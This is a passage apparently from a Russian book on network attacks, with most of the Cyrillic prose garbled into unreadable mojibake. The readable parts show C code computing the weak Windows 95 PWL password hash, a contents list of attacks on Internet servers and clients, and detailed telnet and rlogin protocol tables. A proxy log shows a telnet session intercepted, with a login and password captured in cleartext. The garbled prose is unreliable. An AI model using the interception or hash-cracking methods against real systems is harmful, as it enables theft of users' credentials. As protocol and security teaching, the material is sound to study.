 ࠧࠡ稪 뫨 饭  㣨 訡, 騥 ஢ 䠩   ਡ  ॡ. , ਬ,  <᢮稢> ।⠢ ᮡ ਬ 祭 ᫠ -㭪樨. 宥 ﭨ ஦ ⢮ ஫-, .. ࠧ ஫,    .   ஫  १ ᢥ⪨   ,  ࠢᨫ쭮 ⢨ ஫ !
⮬, ।⠢     ஢ .  ⭮ . ஫ ਢ  孥 ॣ, ⥬    ᨬ ( , 騩 ப) 믮 ᫥騥 樨:
 ᫮ 祭   । ᨬ ஫
 믮 横᪨  ᤢ   ᥬ 権 
  ᪮쪮 ᫠  ﭨ ᥤ ᨬ   㣠.  ᠬ , 奬筮     : 27*sym1+27*sym2+27*sym3,:  symn N- ᨬ ஫. ᪮ 2  ⥯ 7 ࠢ 128,   ᬥ ᨬ  ࢠ 0-127  ﭨ   㣠  , ⮫쪮  ⢥୮ ᨬ 横᪨ ᤢ ਢ   ன  ஫  ,  १ 祣 ஥  ﭨ  ᨬ   . ⮨ ,  ⢥  㭪    室 ப ᯮᮡ    祭 १. ᬠਢ ,  ⠪, 祢  ਭ.
ணࠬ, ਢ ,     ॠ権 ⮣ ⬠ ( ᪥  室  䠩 "/SRC/win95.hashe.c").  뢠 <ᢥ> ஫, 㪠   ப.


 #include <stdio.h>

 #include <string.h>

 main (int argc, char ** argv)

 {

 int a=0,key=0;

 if (argc<2)

 printf ("USAGE: win95.hashe.exe MyGoodPassword\n");

 else

 {

 _strupr(argv[1]);

 for (;a<(strlen(argv[1])+1);a++)

 {

 key+=(unsigned char) argv[1][a];

 __asm

 {

 ROL key,7

}

}

 printf("%08X \n",key);

}

}




᫨  ⢥ ஫  <FFFFKKKKL>,  -㭪  㫥 祭 [182]!   ஫  筮  ( 筮 ⢮  ᫨ ⥬᪨  ⠭ ॡ஬).
 ஢ ⮦ ॠ  묨 訡 -      ᯮ ᪮쪮 ࠧ, -   ஢  짮⥫, ⠪   ஢ ᮢ.   짮⥫ ࠭ ⭮ ( ᮢ   䠩). ⮬,   ⠭  20   (  20 ᨬ ⢥   짮⥫). 祬, PWL 䠩 ᮤঠ ⢮ 筮 (㡫饩)  ।᪠㥬 ଠ樨, ⮬   ᫨ ( 类 ॡ!)  ⮪ .
  ணࠬ (ਬ, Glide), , ᯮ ᠭ  <>,    PWL 䠩 ࠭   ଠ,  ⮬ ᫥  ஫ 㯠  Internet.
  Windows 95 ORS 2 堭 ஢  ⢥ ᮢ襭⢮.  饭 ⮢  ᢥ⪨ ஫ ࠧࠡ稪 ᯮ짮  MD5,   ண 砫   ᫮ -  祭   ஫. ⮬, ॡ஬  祭 ஢ PWL 䠩 ⠫  ॥, 祬 ॡ஬ 室 ஫. ⮩  뢠,  ᥣ  2128  -祭,  ॡ  ॡ 쬠 ⥫쭮 ६.  ᪮ 250 000 権  ᥪ㭤 ( ᭥ 祬)  襬 砥  浪 15 753 813 283 376 780 715 896 972 566 ,   ।   ࠧ  [183].
訡   ᯮ짮 ⮩  ᠬ   ࠭.   樨    - 祭   ஫ 짮⥫   砩 稭,     .  ⮣, ⮡ ஢  ⥪ 뫮  ஢ ⭮,  ࠭   䠩. ,  祭    २ 諥, ᪮    ⠭ ,    .
  ॡ ஫ ( ࠢ  ।饩 ᨥ Windows)  ਡ⥫쭮   ࠧ,   ᯮ짮  ஬ ⬮ 祭 -祭 ஫  ஢ப  . ஡ ᠭ ॡ    , ⮬,   ਢ.  室 ଠ   祭 ⥬ ᥬ஢ 䠩 MSPWL32.PWL. 쬠 ⭮,   ॠ樨 堭 ஢  饭  訡,  ᠭ .   ஢ ⠫ ᫥       .
⫨ Windows 98  Windows 95 ORS 2 ⥫:  ࠭祭  ᨬ  ஫, , ,  . ,  ஫, 롨ࠥ 짮⥫ﬨ, -०   PWL  ⪮ ६,   楫,    㤮⢮⥫쭮.








⮪ Internet


O ⮪ telnet
O ⮪ rlogin
O ⮪ SMTP
O ⮪ POP3
O ⮪ IMAP4
O ⮪ NNTP
O ⮪ HTTP
O ⮪ CGI
O ⠪  telnet-ࢥ
O ⠪  SMTP-ࢥ
O ⠪  POP3-ࢥ
O ⠪  NNTP-ࢥ
O ⠪  HHTP-ࢥ
O ⠪  telnet-
O ⠪  SMTP\POP3 
O ⠪  NNTP-
O ⠪  HTTP-
O ன⢮ ⮢ ࢥ
O  뫪 ᯮ樨
O  祭 ᯮ樨
O ⨣ ᮮ饭  㥬 ७樨
O ᭮ Java-ਫ





":㬥  ᥪ:  ,   ;  ᫨   ᮢ襭,     , 祬 祣."
 ࠭



 ᭮ ⥢ 饭  ⮪ - ᮣ襭, 믮塞 ࢥ஬  ⮬.  ⥢ ⠪,  ᢮ ।,    訡 ॠ権 ⮪,  ᯮ 梨 ᠬ ⮪.   <⠪  Windows NT>  <⠪  Windows 95> 㦥 㯮 ਪ ⮪ SMB, ᫠ ॠ樨 ண  諥  ஫  室  ⥬, ⠭     ..
樨 㣨 ⮪ ⠪ ன   ᮢ襭⢠    諥 믮 ⢨   ஢  ࠧࠡ稪,  ஬ ⥬.  ࠧ  <⮪>  <ॠ樨 ⮪>.  ⮪ -  ⮫쪮  ᮣ襭, ࠢ  ७⥩, ᠭ  㬠 [184].  ⮪ - <>  ணࠬ,  ᥬ 騬  ணࠬ묨 訡.
訡 থ  ᠬ ⮪, ⠪   ॠ樨 (祬 ॠ樨 ࠧ ).  訡 ॠ樨 ࠭ ணࠬ묨 ⪠,  ⮪ 饭 ⮪  ᬠਢ  楯㠫 梨. ਬ, UDP ⮪ ࠡ⠥  ⠭ ᮥ   ࠭,  祭   ⢨⥫쭮 ࠢ ࠢ⥫,   - ,  㬠   .  ᮧ  ७  ꥪ⮢  ,   ਢ  ᯥ ⠪.
⢥, 饭 UDP ⮪      ⮪ <娬>,        ᠬ  ᥡ.   㬭 ਬ UDP ⮪,  ⢥⢥ , ⢨⥫    ࠢ⥫ - ,  ਢ  梨. , DNS ࢥ, ࠡ騩  UDP ⮪,  諥 ࠢ ⢥   DNS,  ணࠬ ᯥ祭   ᮥ   ࢥ஬,  ( ⭮!)   砥  設 諥!  ⢠,  ॢ , 稢 । ᢮ ஫  <ࠦ᪨> 㧥!
㣮 ਬ: ⮪ SMTP  ॡ ਧ樨   諥 뫠 쬠, ᯮ 㦨 ࢥ. ࠢ ⮩ 祢 訡 (  ࠧࠡ⪥ ⮪   뫠 ⠪ 祢,    ६ ᯠ஢   ⢮)  ᮯ殮  ⥫묨 㤭ﬨ.
࠭ ⪮ ⮪ ⮬᪨  ࠢ 饥 ணࠬ ᯥ祭!  -᪨  ⮪     ॠ権 ࢥ  ᪨ ਫ, ᮧ ࠧ묨,   न஢묨, ࠧࠡ稪. 㦭 祭 ᪨ , ⮡ ᪫  ࠧࠡ稪, ஢  짮⥫ ३   ⠭.  ᫨   ᯮਬ २⢠,  ७    ᪮쪮 .    ⮪  ਢ   ⪠  ,   ୮ 㦨 冷   㣮.
  ஡ ᬮ७   ⮪,  ᠭ  訡  ॠ権.  設⢥   ࠤ樮 稭  祭 ࠭ᯮ ⮪,  ⥬ 室  ਪ.  ⠪ 室 ,  ࠩ ,  ⢥ ⮪: ⥫      <㯠> । 祭   ⢮ 宩 ⥮ਥ. ⨢, ࠡ ਪ ⮪  த஢ 묨 ᯥਬ⠬.
⮬,  ⮩  ।ਭ ⪠   ਠ  ⭮ ࠢ -  ਪ ⮪   ࠭ᯮ.  ⠭  ⮢ ⥫, ⮬,  㦤 梨 ⮪    ॠ権,    뢠  ᠬ ⮪.








⮪ telnet  rlogin (  ᨮ)


O  ⮩ :
O   telnet
O , 蠥   ⮪ telent
O 㠫 ନ
O ।   ⮪
O ⪮ ᠭ  telnet
O  
O 墠  ஢ ᨨ telnet-  ࢥ஬
O ⪠   ⮪ rlogin
O ,   rlogin
O ।  ⮪ rlogin
O ⭮ ᠭ  ⮪ rlogin
O  telnet-⮢
O 䨣஢ telnet-, 室饣  ⠢ Windows 2000







 ⮪ telnet  易⥫쭮  ᢮ ᥣ ⠫쭮 ਫ,   ॡ  ஢ 墠祭 telnet-ᨥ,  ⠪   ᠭ ᮡ⢥ telnet-⮢  ࢥ஢.  ⠫      ࡠ ய.
⮪ telnet   ३  .  ࠧࠡ뢠   ⨤ ,  ᫮ "Internet"   ⢮,  , ᮥ騩 ᪮쪮 㧫, म  < ARPANET>.  telnet ⠢ ᭮ ,  ⭮ᨫ  㭤⠫ ⮪ - 設⢮ 㧫 頫   㣮  ।⢮ telnet.  ६  ᭨  ᯥ樠஢ ⮪,    ᢮  ஫.  telnet ᯮ ࠪ᪨ ⮫쪮  㤠 ஢ UNIX-ࢥ஢.
Telnet - ਪ ⮪, ॠ㥬  ࠭ᯮ⭮ TCP-⮪.  ᯥ稢 㯫, 8-   ⭨ ᮥ  ন 㠫 ନ.  㬮砭  祭  telnet-ࢥ 室 ⠭ ᮥ  23 .







㠫 ନ (NVT - Network Virtual Terminal)   ᨬ쭮 ன⢮  ன  ਭ஬. , ࠭  , ࠢ ࢥ,  ⢥ ࢥ ⠥  ਭ.  <ன>  <ਭ஬> ࠧ㬥   ன⢠.  ⢨⥫쭮 ⢥ ࢥ   易⥫쭮 뢮  騩 ਭ,  ⮣ 筮 ᯮ ࠭.
㠫 ନ  ᮣᮢ ଠ ।⠢   ஭, ਭ   ࠭  .. ⢥⢨  묨  䨧᪨ ன⢠ 㧫  ᯥ ॠ ⮪.
஡  㠫쭮 ନ ᪠ ,   ⮩ .
⮪ telnet ᯮ 쭮 ਣ ᯮᮡ । , 뢠   ⮪ (in-band signaling), 騩  ᫥饬:    ࢠ [0x0, 0xFF) [185]   ,   0xFF, 뢠 IAC (Interpret As Command - ஢  ), 㪠뢠  ,  ᫥騩      ⮬. ᫨  室 ।  , ࠢ 0xFF,  ᫥ த㡫஢, .. ࠢ   0xFF 0xFF.
   ਭ ᫥騥 祭, ᫥  ⠡ (室 ᭥  ).
????   ᭥ 
???? EOF 0xEC  䠩 
???? SUSP 0xED ਮ⠭ ⥪騩  
???? ABORT 0xEE ४  
???? EOR 0xEF   
???? SE 0xF0  樨 
???? NOP 0xF1  樨 
???? DM 0xF2 થ  
???? BRK 0xF3 뢠 
???? IP 0xF4 ࢠ  
???? AO 0xF5 ४ 뢮 
???? AYT 0xF6   ? 
???? EC 0xF7  ᫥  ᨬ 
???? EL 0xF8  ப 
???? GA 0xF9   
???? SB 0xFA 砫  樨 
???? WILL 0xFB 㦤 樨 
???? WONT 0xFC 㦤 樨 
???? DO 0xFD 㦤 樨 
???? DONT 0xFE 㦤 樨 
???? IAC 0xFF   0xFF 
  ᫥  ⠡   饥 ६ 諨  㯮ॡ  ⮬ ।⠢  ᪨ ,  ⮬ ᬮ७   ⪮:


 EOF




 End Of File -  䠩. ⥫  㢥 , ᮥ  NVT ନ,   ⨣  䠩.  饥 ६    ᯮ.


 SUSP




 (᮪饭  Suspend - ਮ⠭) <ࠦ> 易  NVT   । ࠢ 㣮 . <஦>   ᬮ த ᢮ 믮  ⮩  ᠬ 窨.    饥 ६  設⢮ ⥫.


 EOR




 End of Record -  . 筮 EOF.    ᠭ  RFC-885.


 NOP




 No operation -  樨.   筮 ᯮ  ஢ન ࠡᯮᮡ ᨨ. ᫨ ᮥ  ⥫ ࠧࢠ,  ⪠ 뫪 NOP ਢ  訡 TCP/IP.  ࢥ ਮ᪨ 뫠 NOP, ⮡ 㡥  ⨢ .







DM




 Data Mark - થ . ᯮ  ⢥ ᨣ ᨭ஭樨,  ।     TCP.  ⥫ ਭ 㢥  ⮬,  ࠢ⥫ 襫  ० 筮,  稭  ⮪ , 뢠 , ஬ telnet-.  DM ᮮ頥 ਭ饬  室    ० ࠡ.







BRK




 Break - 뢠.   ⨨  <Break>  ਢ  뢠 ᨨ  ⪮ ஢  뢮.


 IP




 Interrupt Process - ࢠ . ࢠ, ਮ⠭   , 易  NVT ନ


 AO




 Abort Output - ࢠ 뢮. ਭ㤨⥫쭮 襭 뢮  ⪮ ஢.


 AYT




 Are You There -   ?   ਯ뢠 ⥫  ࠢ⥫  ⠡쭮  ⢥ত 䠪 ᢮ ⨢.


 EC




 Erase Character -  .   ।뢠 ⥫ 㤠 ᫥ ᨬ, 祭   ࠢ⥫.


 EL




 Erase Line -  ப.   ।뢠 ⥫ 㤠 ᫥ ப, 祭   ࠢ⥫.


 GA




 Go Ahead - .   । ࠢ ⥫ (ᯮ  㯫᭮ ०)
 ᮣᮢ ⥫ ࠬ஢ ᯮ 窨 WILL, WONT, DO, DONT. ࠢ⥫   ⥫  ॡ㥬 樨  㢥    ᢮ ﭨ.
 ⮪ WILL, 뫠 ࠢ⥫, ,  ࠢ⥫      ᥡ. ᫨ ⥫ ᮣᥭ,  ࠢ ⮪ DO,  ⨢ 砥 DONT.
 ⮪ DO, 뫠 ࠢ⥫,  ⥫   . ᫨ ⥫ ᮣᥭ,  ࠢ ⮪ WILL  WONT  ⨢ 砥.
 ⮪ WONT, 뫠 ࠢ⥫, 㢥 ⥫,  ࠢ⥫ 몫稫  ᥡ  . ⥫ 易 ⢥न  ⪮ DONT
 ⮪ DONT, 뫠 ࠢ⥫, ਪ뢠 ⥫ 몫  . ⥫ 易 ⢥न  ⪮ WONT.
 ⢮ 権, ஡ ᠭ  "Assigned Numbers RFC",   ਬ ᠭ  ,   㯮ॡ塞,  .
- 樨 祭 
- ⭠. 
-1 0x1  
-3 03 饭  GA 
-5 0x5  
-6 06 થ ६ 
-24 018  ନ 
-31 01F ?   
-32 0x20  ନ 
-33 0x21  ஫ ⮪  
-34 022  ० (line mode) 
-36 024  () ६ 㦥 
 樨, ⠪, ਬ,  ⨯ ନ,    ᪮쪮 ࠬ஢,  । ᫥騬 ࠧ: ࠧ  樥 ᫥  <IAC SB>,      ᪮쪮  ࠬ஢.  <IAC SE> 蠥 . ਬ,  ࠧ஢   ந室 ⠪: <IAC DO 0x1F> <IAC SB> <00 50 00 20> <IAC SE>,  "00 50" ⢮ ᨬ  ப (  訩 ) -  ࠬ,  <00 20> ⢮ ᨬ  ப - ன ࠬ.
⮪ telnet ন  ० । : 㯫, ᨬ,   .
㯫 ०  饥 ६ ࠪ᪨ 襫  㯮ॡ  ᯮ ࠩ ।.  묨 ந室 ⠪:   祭  GA  ࢥ  ⮫쪮 ᫥ ⮣ 稭 । , 蠥  GA, ᫥ 祣  ⮢  ਥ ⢥ ࢥ. ..  GA ࠥ ஫ , 騥  ஭ ஫ﬨ.  ଠ 饭 ⭮ ᪮  (ᮡ   ),    ⢮  ਫﬨ, ᨬ쭮 ࠡ뢠騬 .  ⠭   㬮砭 室  㯫᭮ ०.
 ᨬ쭮 ०  ᫠ ࠢ⥫ ᨬ  ⠢ ⥫.  業 㯫 ०,  ஭  室 ਢ  । ।.   饭  ᨬ  ⤥  ⥫쭮  ᪮ ,   室 १  (ࠪ᪨   ।   ⮢).         ⭮,  ⨬ ᪠뢠  㦥 . ⮡ ३  ᨬ ०   ஭     ⪫  ᥡ  GA,  ᤥ  ᠬ⥫쭮  ᫠ 㣮 ஭ 㢥. ..   룫拉  ⠪: <IAC DO 0x3>,  ⠪ <IAC WILL 0x3>,  0x3  樨 <饭  GA>,   ⠡, ਢ .
 ०  뢠 kluge [186] line mode  ।ᬠਢ ࠧࠡ稪   䠪᪨   १ 訡.  RFC-858 ,    ᨬ   ࠧ  㤠 宬,  -⮡ࠦ   祭,   GA 饭. ᫨       ᫮  믮, telnet 室  ० ப   ࠧ (.. 筮).       ஫, ᫨ ࢥ 뫠  <IAC WILL ECHO>,   室  ० kluge line mode  ।  ஫ 楫   .
⥫쭮  ᮢ襭  ࠧࠡ⠭ ० linemode,  ࠭ ⪨  ⠫ ०,  ࠭  ⮨⢠. ஡  ᠭ  RFC-1184. ⢥ ⨦ (⭮騬  ᭮)   । ஫  ࢥ  ஢ .


-





 ०, ᬮ   ᢮ ⮨⢠,   祭 㤮   , ᪮  ᨬ 頥  ⤥  [187]. ᫨ 㬬 ࠧ IP  TCP  ਭ ࠢ 40 ⠬, ⮣ ᫮ ⮬ 㤭 㡥,      室 ᥣ 2% (1/41 * 100 = 2.4).
 ந⥫쭮 ᮡ ⭮     ॣ㦥 . ⪨  ਧ樨   ᥣ 㢥稢 ᯥ宬 (᫨ ਫ ࠡ뢠  짮⥫ ᨬ쭮 -  ).
 RFC-869 । ⮥  ⭮ 襭, 㥬 ⬮.   砥  ᫥饬: ࠢ⥫ 뫠 ⥫  TCP   ⢥ ᨬ,   祭 ⢥ত   ⠢ ( ⮪ TCP ᥣ 㢥 ࠢ⥫,     ᯥ譮 祭)  㯠騥  ࠢ ᨬ    .  ⮤ ஢ ᮢ襭 ஧筠  telnet-⮪, ᪮ ࠡ⠥  ஢  .   ᨬ  ⥯ 㦥   ⮬᪨ ࠨ  ᨬ ந⥫쭮.
  ᯮ  ⮪ telnet  rlogin.
騩 ਬ,  ⢨ telnet-ࢥ  telnet-: 室  ࢥ  ந室 ⠪:
 ࢥ 뫠  <IAC DO 0x3>  ॢ   ᨬ ०
  ⢥砥 <IAC WILL 0x3>  室  ᨬ ०
 ࢥ 뫠 <IAC DO 0x1>  祭 -⮡ࠦ 
  ⢥砥 <IAC WILL 0x1>  砥 -⮡ࠦ
 ࢥ 뫠 ப "login:"
  頥  짮⥫
 ࢥ 뫠 ப "password:"
 ࢥ 뫠 <IAC DONT 0x1>  ⪫祭 -⮡ࠦ 
  ⢥砥 <IAC WONT 0x1>  ⪫砥 -⮡ࠦ
  뫠 ப ஫, ࠭ 짮⥫ <᫥>
 ࠪ⨪, ,    ࢥ  ࢥ   뢠  ᫮.
墠  裡  ࢥ஬  ⮬    ᯥ樠쭮 ࠧࠡ⠭  ⮩ 楫 Proxy-ࢥ TCPSPY ( ਫ   ᪥  室  䠩 /SRC/tcpspy.bat,   室 ⥪ ਢ  ਫ). ⨢ , 室 㪠  㤠 ࢥ (23),  쭮 ࢥ (᪠, 123)   㤠 ࢥ ( ਢ  ਬ ᯮ짮 telnet.org). ⥬  telnet- ( ⮬ ਬ ᯮ짮 , 室騩  Windows 2000)  ⠭ ᮥ  㧫 127.0.0.1  ࠭  (123).
 ਢ ⮪ ࠡ, ࠭  䠩 tcpspy.log ( ᪥, ਫ    ᯮ  /SRC/telnet.log)
 FF FD 18 FF FD 20 FF FD  23 FF FD 27 FF FB 18 FF ^  # ' v^
 FB 1F FF FC 20 FF FC 23  FF FC 27 FF FD 1F FF FA v  # '  
 18 01 FF F0 FF FB 1F FF  FA 1F 00 50 00 19 FF F0 ^O  v  P v 
 FF FA 18 00 41 4E 53 49  FF F0 FF FB 03 FF FD 01 ^ ANSI  v O
 FF FB 05 FF FD 21 FF FD  03 FF FB 01 FF FE 05 FF v !  vO 
 FC 21 FF FE 01 FF FB 01  0D 0D 0A 52 65 64 20 48 ! O vOdd0Red H
 61 74 20 4C 69 6E 75 78  20 72 65 6C 65 61 73 65 at Linux release
 20 36 2E 31 20 28 43 61  72 74 6D 61 6E 29 0D 0D 6.1 (Cartman)dd
 0A 4B 65 72 6E 65 6C 20  32 2E 32 2E 31 36 2D 33 0Kernel 2.2.16-3
 20 6F 6E 20 61 6E 20 69  35 38 36 0D 0D 0A 6C 6F on an i586dd0lo
 67 69 6E 3A 20 FF FC 01  FF FD 01 6B 70 6E 63 0D gin: O Okpncd
 0D 0A 6B 70 6E 63 0D 0D  0A 50 61 73 73 77 6F 72 d0kpncdd0Passwor
 64 3A 20 70 61 73 73 77  6F 72 64 0D 0D 0A 0D 0D d: passworddd0dd
 0A 4C 6F 67 69 6E 20 69  6E 63 6F 72 72 65 63 74 0Login incorrect
 0D 0D 0A 0D 0D 0A 6C 6F  67 69 6E 3A 20 dd0dd0login:
஢ 墠祭 ᨨ 룫廊 ᫥騬 ࠧ (ࠧ㬥,  ਠ樨  ᨬ  ᯮ㥬 ⥫   ࢥ).
 SERVER:FF FD 18 IAC DO 0x18;  । ⨯ ନ?
 SERVER:FF FD 20 IAC DO 0x20;  । ᪮ ନ?
 SERVER:FF FD 23 IAC DO 0x23; ন   ?
 SERVER:FF FD 27 IAC DO 0x27; ন   ?
 CLIENT:FF FB 18 IAC WILL 0x18; ,  । ⨯ ନ
 CLIENT:FF FB 1F IAC WILL 0x1F;   ࠧ ᢮ 
 CLIENT:FF FC 20 IAC WONT 0x20;  ⠭ ᪮ 
 CLIENT:FF FC 23 IAC WONT 0x23; ⭠  023
 CLIENT:FF FC 27 IAC WINT 0x27; ⭠  027 
 SERVER:FF FD 1F IAC DO 0x1F;  ࠧ 
 SERVER:FF FA 18 01 IAC SB 0x18 1; 㪠   ⨯ ନ.
 SERVER:FF F0 IAC SE;  樨
 CLIENT:FF FB 1F IAC WILL 0x1F;  ࠧ஢  
 CLIENT:FF FA1F IAC SB 0x18; ᮮ饭 ࠧ஢ 
 CLIENT:00 50 00 19; ࠧ  80x25 ᨬ
 CLINET:FF F0 IAC SE;  樨 
 CLINET:FF FA 18 00 IAC SB 0x18 0;砫 樨 ᮮ饭 ⨯ ନ
 CLINET:41 4E 53 49 "ANSI"; ⨯ ନ 
 CLINET:FF F0 IAC SE;  樨 
 SERVER:FF FB 03 IAC WILL 0x3; ॢ  ᨬ ०
 SERVER:FF FD 01 IAC DO 0x1; 祭 
 SERVER:FF FB 05 IAC WILL 0x5; 祭 
 SERVER:FF FD 21 IAC DO 0x21; 㤠 ஫ ⮪ 
 CLIENT:FF FE 01 IAC DONT 0x1;   ࢥ  
 CLIENT:FF FB 01 IAC WILL 0x1;  砥   ᥡ
 CLINET:FF FE 05 IAC DONT 0x5;   
 CLINET:FF FC 21 IAC WONT 0x21; 㤠 ஫ ⮪  
 SERVER:FF FE 01 IAC DONT 0x1; ࢥ ⨢  
 SERVER:FF FB 01 IAC WILL 0x1;  砥   ᥡ
 SERVER:0D 0D 0A 52:<Red Hat Linux:>
頥  ᥡ   䠪,   ࢥ 頥  ᯮ짮 쭮 .  ⮣  ᠬ⥫쭮 頥  祭 ᨬ, ࠧ㬥,  ᪫祭 ᨬ ஫.
⭮,  Windows- (  Windows 95, ⠪   Windows 2000)  ন  権, ।  ࢥ஬.
⮪ rlogin ந室  Berkley UNIX.     4.2BSD  ।砫  室 㤠 ନ  UNIX-設,   - ६  ७ᥭ   㣨 .  ਪ ⮪, ॠ㥬  ࠭ᯮ⭮ ⮪ TCP.
 ࠢ  telnet, rlogin ࠧ    ন ᮣᮢ ࠬ஢, ⮬,  ॠ樨 ࠧ ⭥ ,  ࠢ, ⮩稢  ࠡ.  ஡ ᠭ   室묨 ⥪⠬ rlogin-ࢥ  rlogin-    RFC-1282.
᫥ ⠭ ᮥ  rlogin-ࢥ஬, rlogin- 뫠 ࢥ  ப ( ப  稢 㫥):
  ப (㫥 )
  짮⥫,    ॣ஢  
  짮⥫,    ॣ஢  ࢥ
  ନ  ଠ <⨯ ନ> < ᫥ "/"> <᪮ ନ>
ࢥ ⢥砥 㫥 ⮬  ⠥ ⥭஢ 짮⥫.   ।  䠩.rhosts, ᮤঠ騩 ᯨ᮪ ७ 㧫  짮⥫. ᫨   ᮢ    ᮢ, ᫥  ⮬ 䠩,  室  ࢥ  ஫  ॡ.  ⨢ 砥   । ࢥ ஢ ப ஫ (祬, ᫥ ॠ樨 rlogin  4.4BSD ᯮ Kerberos  ஢ ஫, 뫠  ).
⮪ rlogin ন ⢥ ० 饭  ࢥ஬ - ᨬ.  襭 ந⥫쭮  ।饭 ॣ㧪  ஬ ᫮ ⨭ࠬ ᯮ  .
᫨ rlogin-ࢥ ॡ । 㦥  ,  室  ० 筮 TCP  ࠢ   ᫥   . , 稢 㢥  ० 筮,    ࠭    ,      (᫥   ).  ᨬ  , ࠭    뢥  ନ  ந஢.  뢠   .
- 祭 
-筮 ⭠筮 
-2 02 ४饭 뢮. 稢 ⠪ ,     , ਭ   祭  . 
-16 010 ४饭 ஫ ⮪  
-32 020  ஫ ⮪  
-128 080 稢  ,   ᮮ ࢥ ࠧ  ᢮ ନ  뢠 㢥 ࢥ 直 ࠧ,  ࠧ  . 
।     ࢥ ந室 ᫥騬 ࠧ:  뫠  , ࠢ 0xFF,  묨 ᫥    (  뢠 䫠묨).
 饥 ६ । ᥣ   - 㢥 ⮬  ࠧ஢ .  ⮬ 砥    ࠢ 0x73 0x73,     16- 祭 ( 浪 ⥢ ⮢), ࠦ騥 ⢮ ᨬ  ப, ⢮ ᨬ  ⮫, ⢮ ᥫ  ਧ⠫  ⢮ ᥫ  ⨪. 筮  ᫥ 祭 ࠢ , ᪮ 設⢮ ਫ । ࠧ ࠭  ᥫ,   ᨬ.
⮪ rlogin   । ᨬ 0xFF 0xFF  ⮪ , ᪮  ᯮ  㦥 楫,   ⫨稥  telnet,   ᯥ樠쭮    ⠪ ࠭祭.
  ⮢, 뫠  ᫥ ⮬  ,  ᯮ殮 ࢥ   㣨 ᯮᮡ ࠢ ࠡ⮩ .  ⮣  । ᯥ樠  <~> (⨫줠)  ࢮ 樨 ப,   ᫥    ᯥ樠 ᨬ:
- 祭 
-. (窠) ४饭 ࠡ  
-Ctrl-D 
-Ctrl-Z ਮ⠭ ࠡ  
-Ctrl-Y ন   
 ,  ⫨稥  ⥪ telnet, rlogin    ० த㬠,  祭 ࠭祭  ᢮ .  饥 ६  ࠪ᪨ 襫  㯮ॡ  ᯮ 祭 ।.
 ⮪ ࠡ  ⥢묨 㠫묨 ନ NVT, ।⠢騬 ᮡ  ன⢮   뢮 7- USASCII [188] ᨬ.    砥  । 8- ᨬ,  ᯮ짮 樮쭮 ஢.
 NVT  ᯥ稢 ᮣᮢ ਭ ࢥ஬  ⮬ ஢   ࠭ ࠢ쭮 ⮡ࠦ 樮 ᨬ. প ७    ॠ権, ,  ࠢ, ࠪ᪨  telnet-  ࢥ ⠪ ७ ন.
    0  31  127 뢠 ࠢ騬   ᯥ樠쭮 祭, ᠭ  ਢ  ⠡:
????  饭  ᨬ 祭 
???? NULL NUL 0  樨 
???? BELL BEL 7 - 
???? Back Space BS 8  ᫥  ᨬ 
???? Horizontal Tab HT 9 ਧ⠫쭠 ⠡ 
???? Line Feed LF 10 ७   ᫥ ப  ࠭ ⥪饩 樨 
???? Vertical Tab VT 11 ⨪쭠 ⠡ 
???? From Feed FF 12 ॢ   ᫥ ࠭  ࠭ ਧ⠫쭮 樨 
???? Carriage Return CR 13 ॢ   砫 ⥪饩 ப 
 ⠫ ࠢ騥   ⠭  ஢     ࠡ NVT ନ.  ⢮ ॠ権 ন ᮡ⢥ ७.
, ࠥ   NVT-ନ,    쭮   襭  楫 ப,  ⮫쪮 ᫥ ⮣    । ⥫.  ஢  ० ।  ᨬ   ন    ⠢ ⥫.
প ⮪ telnet 㠫 ନ,  ਫﬨ ⢮  㤠 ⮬ 筮 ⠪,    ନ,   ਭ  . ⮬, ⮪ telnet  ᯮ  㤠 믮 ணࠬ  ࢥ.  ⮣, 㠫 ନ 室 易   窮 (shell),  ᬮ ࠡ  㤠 ⮬ 筮 ⠪,  ᫨    䨧᪨ ᮥ  設.
 ᠬ ,  telnet ⮪  ࠭稢 㤠 믮 ணࠬ,    ᯥ譮 ਬ   㣨 楫.   饥 ६  ⥫  ࠪ᪨  ᯮ, ᪮ ᭥ 㣨 ᯥ樠஢묨 ⮪.








.  telnet ⮢


 ஬ ⢮ telnet-⮢,  設⢮    ন  ᯥ䨪権 RFC-854, , ⥬ ,  ७. 㡮 , - ࠪ᪨ ,  㬥 設⢮ ⮢ - ⠭ TCP ᮥ, 뫠  ࠢ   ࢥ (⪠).  ⠪, ਬ, ਭ telnet-, 室騩  ⠢ Windows 95 (Windows 98).
⥫쭮  㭪樮 telnet-, ࠭塞   Windows 2000,    ᮢ६ ᯥ䨪 ᮮ⢥ , 室騩  ⠢ 4.4BSD UNIX.   Sun OS 4.1, Solaris 2.2, SVR4, AIX 3.2, ন   ०, ਬ,   ন ० line mode.
祬,  設⢥ 砥  ᮢ襭 ⢥. ,   ᯥਬ⮢, ᠭ  ⮩ ,    ᫥  telnet-⮢.  㤥 ᪠,  ࠢ쭮 ⮢  ࠡ  ᠬ   .
  ⠢ Windows 95 (Windows 98) 䨣    <ࠬ ନ> ⥬ ⠭ () 祪  㦭 .    ਫ  ᪨ 䥩ᮬ,   ᮢ  뢠.  ࠡ  telnet-ࢥ஬ 䫠 <⮡ࠦ > (  -⮡ࠦ)   襭,  ⠫   筮 ⠭, ⮡ ஫஢   ᨬ  .  㣨  ஡ ᪠   < 믮 ணࠬ>.
ᥬ  룫廊 telnet-, ⠢塞   Windows 2000.  ᮫쭮 ਫ, 뢠饥 㤭  ன  窮.   ࠡ   ० -  ࠡ祬  .  ० ।砥  ࠢ ⮬.  ᨬ,   , ࠡ뢠 ᠬ ⮬   ।  ࢥ.
ࠧ ᫥ ᪠,  室   ०.  ⮣ ⮡  ᯨ᮪   筮  "?"  "help". ⠭ ᮥ  ࢥ஬ ,  ᯮ짮  "open  ࢥ ",  㪠     ப.  㬮砭 ᯮ  ⨩ .
᫥ ᯥ譮 ⠭ ᮥ,  室  ࠡ稩 ०.      ⨥ ⠭  <Ctrl-]>. 室   ०,      ⨢ ᮥ  "close"     ( ⨥ ᮥ)  "quit".  ⮣ ⮡ ४  ࠡ稩 ० 室   <Enter>.
  "set"  "unset"  ࠢ ࠬࠬ . 㯭 ᫥騥 樨 ( ⮣,     ᯨ᮪ 筮    ᫥  set  unset):
 NTLM - 뫠 ࢥ  ⥭䨪樨 ⮫쪮 NT  (஡  ⮬ ᪠   <⠪  Windows NT>)
 LOCAL_ECHO -⮡ࠦ ᨬ, ࠥ  
 TERM ⨯ ନ (ANSI, VT100, VT52  VTNM)
 CRLF   ப ᨬ CR (0xD)  LF (0xA)
